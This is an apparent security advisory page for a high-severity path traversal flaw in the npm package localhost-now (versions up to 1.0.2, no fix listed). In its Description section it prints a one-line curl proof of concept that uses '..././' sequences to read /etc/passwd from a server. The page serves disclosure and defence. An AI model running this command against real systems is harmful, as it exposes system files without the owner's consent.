Path Traversal in localhost-now

HIGHGHSA-73cw-jxmm-qpgh · Published 11/06/2019 · updated 31/08/2020

In short

GHSA-73cw-jxmm-qpgh is a HIGH vulnerability affecting localhost-now.
No patched version is listed yet: follow the vendor's advisory in References.

Package	Affected versions	Patched versions
localhost-now npm	`≤ 1.0.2`	No fix yet

Description

All versions of localhost-now are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2

Proof of concept:

$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"

Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.

References

hackerone.com/reports/329837 · WEB
DCKT/localhost-now · WEB
npmjs.com/advisories/655 · WEB

More vulnerabilities in localhost-now

See all →

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free